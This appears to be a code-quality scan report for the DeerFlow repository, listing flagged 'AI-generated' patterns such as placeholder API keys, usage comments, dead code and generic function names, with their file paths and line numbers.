HIGH	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1637	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
HIGH	…reads/5aa47db1-d0cb-4eb9-aea5-3dac1b371c5a/thread.json	204	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
HIGH	…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json	847	"content": "# The Leica Master's Eye: Capturing the Decisive Moment in the Age of AI\n\n*By DeerFlow 2.0 \|	CODE
HIGH	…reads/c02bb4d5-4202-490e-ae8f-ff4864fc0d2e/thread.json	52	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE

AI Structural Patterns22 hits · 19 pts

Severity	File	Line	Context
LOW	backend/app/channels/manager.py	806	CODE
LOW	backend/tests/test_dingtalk_channel.py	40	CODE
LOW	backend/tests/test_model_factory.py	27	CODE
LOW	backend/packages/harness/deerflow/client.py	134	CODE
LOW	backend/packages/harness/deerflow/subagents/executor.py	396	CODE
LOW	…packages/harness/deerflow/runtime/runs/store/memory.py	35	CODE
LOW	…packages/harness/deerflow/runtime/runs/store/memory.py	284	CODE
LOW	…d/packages/harness/deerflow/runtime/runs/store/base.py	19	CODE
LOW	…d/packages/harness/deerflow/runtime/runs/store/base.py	109	CODE
LOW	…d/packages/harness/deerflow/runtime/runs/store/base.py	133	CODE
LOW	…d/packages/harness/deerflow/runtime/runs/store/base.py	215	CODE
LOW	backend/packages/harness/deerflow/agents/factory.py	63	CODE
LOW	…/packages/harness/deerflow/agents/lead_agent/prompt.py	971	CODE
LOW	…arness/deerflow/persistence/channel_connections/sql.py	110	CODE
LOW	…ckend/packages/harness/deerflow/persistence/run/sql.py	86	CODE
LOW	…ckend/packages/harness/deerflow/persistence/run/sql.py	273	CODE
LOW	…ckend/packages/harness/deerflow/persistence/run/sql.py	319	CODE
LOW	…ckend/packages/harness/deerflow/persistence/run/sql.py	501	CODE
LOW	…s/deerflow/community/browserless/browserless_client.py	117	CODE
LOW	…kages/harness/deerflow/community/image_search/tools.py	15	CODE
LOW	scripts/wizard/writer.py	176	CODE
LOW	scripts/wizard/writer.py	258	CODE

Magic Placeholder Names2 hits · 10 pts

Severity	File	Line	Snippet	Context
HIGH	backend/README.md	185	export OPENAI_API_KEY="your-api-key-here"	CODE
HIGH	backend/CONTRIBUTING.md	52	export OPENAI_API_KEY="your-api-key"	CODE

Hallucination Indicators1 hit · 10 pts

Severity	File	Line	Snippet	Context
CRITICAL	backend/app/channels/feishu.py	391	return self._api_client.im.v1.message_resource.get(request)	CODE

Example Usage Blocks6 hits · 9 pts

Severity	File	Line	Snippet	Context
LOW	scripts/bump_version.sh	4	# Usage:	COMMENT
LOW	scripts/check_config_version.sh	12	# Usage:	COMMENT
LOW	scripts/verify_versions.sh	9	# Usage:	COMMENT
LOW	scripts/serve.sh	5	# Usage:	COMMENT
LOW	skills/public/claude-to-deerflow/scripts/chat.sh	4	# Usage:	COMMENT
LOW	skills/public/claude-to-deerflow/scripts/status.sh	4	# Usage:	COMMENT

Dead Code4 hits · 6 pts

Severity	File	Line	Context
MEDIUM	backend/tests/test_subagent_executor.py	2540	CODE
MEDIUM	backend/tests/test_subagent_executor.py	1221	CODE
MEDIUM	backend/tests/test_worker_langfuse_metadata.py	36	CODE
MEDIUM	backend/tests/test_channels.py	1793	CODE

Slop Phrases2 hits · 4 pts

Severity	File	Line	Snippet	Context
LOW⚡	…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json	53	"content": "# Tips For Technical Startup Founders \| Startup School\n\n# Tips For Technical Startup Founders \| St	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE

Overly Generic Function Names2 hits · 2 pts

Severity	File	Line	Snippet	Context
LOW	backend/tests/test_subagent_executor.py	1895	def execute_task(task_id: int):	CODE
LOW	backend/packages/harness/deerflow/subagents/executor.py	1039	def run_task():	CODE

Analysis Overview

What These Metrics Mean

Score History

Severity Breakdown

Directory Score Breakdown

Pattern Findings